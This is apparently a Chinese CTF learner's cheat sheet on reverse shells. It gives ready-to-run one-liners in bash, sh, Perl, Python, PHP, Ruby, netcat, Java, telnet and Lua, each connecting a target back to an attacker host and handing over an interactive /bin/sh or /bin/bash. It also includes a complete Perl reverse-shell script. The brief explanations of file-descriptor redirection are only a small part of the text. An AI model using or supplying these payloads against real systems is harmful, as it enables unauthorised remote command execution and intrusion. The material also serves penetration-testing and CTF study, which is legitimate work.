最近做了几题都是反弹shell,总结一哈
bash
bash -i >& /dev/tcp/vps_ip/端口号 0>&1
bash -i 生成一个交互式的子进程
&表示在Linux后台运行
/dev/tcp/vps_ip/端口号 其实是与主机建立tcp连接
/dev/[tcp|upd]/host/port是Linux里面比较特殊的文件,读取和写入相当于建立一个socket调用
0是标准输入,1是标准输出,2是错误输出,0>&1表示将标准输入重定向到标准输出,0>1表示将标准输入重定向到文件名为1的文件,&是用来区分的标识符(Linux默认不会把错误信息重定向到文件的
举个栗子, command >file 2>&1表示将标准输出重定向到file,然后错误输出重定向到标准输出,也就是又定向到了file,所以最后,标准输出和错误输出都定向到了file
好了,解释了一波,来个实例
靶机bash命令连到主机上
监听一下
好了,shell拿到了
bash还有其他命令
/bin/bash -i >& /dev/tcp/vps_ip/端口号 0>&1
类似还有sh,同样也是监听弹shell
/bin/sh -i >& /dev/tcp/vps_ip/端口号 0>&1
exec
0x01
主机监听,靶机命令执行
exec 5<> /dev/tcp/vps_ip/端口号
cat <&5 | while read line; do $line 2>&5 >&5; done
成功getshell
0x02
本地监听,靶机执行
exec 2>&0
0>&196;exec 196<>/dev/tcp/vps_ip/端口号;sh <&196 >&196 2>&196
这个其实也是sh连接过去,但是不知道为什么,靶机会报个错,但是还是能成功弹shell
Perl
0x01
perl还是很强大的,调用sh也能成功弹到shell
继续本地监听,靶机执行
perl -e 'use Socket;$i="10.173.196.52";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然后就能getshell了
0x02
也可以不用调用sh
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.173.80.40:2333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
0x03
还能直接运行脚本
#!/usr/bin/perl -w
#
use strict;
use Socket;
use IO::Handle;
if($#ARGV+1!=2){
print "$#ARGV $0 Remote_IP Remote_Port \n";
exit 1;
}
my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];
my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port,inet_aton($remote_ip));
my $shell = '/bin/bash -i';
socket(SOCK,AF_INET,SOCK_STREAM,$proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$!";
open STDIN,"<&SOCK";
open STDOUT,">&SOCK";
open STDERR,">&SOCK";
print "enjoy the shell.\n";
system($shell);
close SOCK;
exit 0;
运行的时候加个ip和端口号,然后就能弹shell了,其实也是在利用bash去getshell
Python
0x01
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.173.200.224",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x02
python -c "exec(\"import socket,subprocess;s = socket.socket();s.connect(('10.173.200.224',2222))\nwhile 1: proc = subprocess.Popen(s.recv(1024),shell = True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
Php
php -r '$sock=fsockopen("192.168.1.104",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
0x01
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
0x02
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NetCat
0x01
nc -e /bin/sh ip port
0x02
mknod backpipe p && nc 192.168.1.104 2222 0<backpipe | /bin/bash 1>backpipe
0x03
rm /tmp/p;mkfifo /tmp/p;cat /tmp/p|/bin/sh -i 2>&1|nc 192.168.1.104 2222 >/tmp/p
新建个tmp文件去存,然后回显过来
0x04
nc ip port |/bin/sh | nc ip port
监听两个通道,一个输入一个输出
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
可以看到还是调用了bash的,肉鸡不知道怎么运行(逃
Telnet
mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"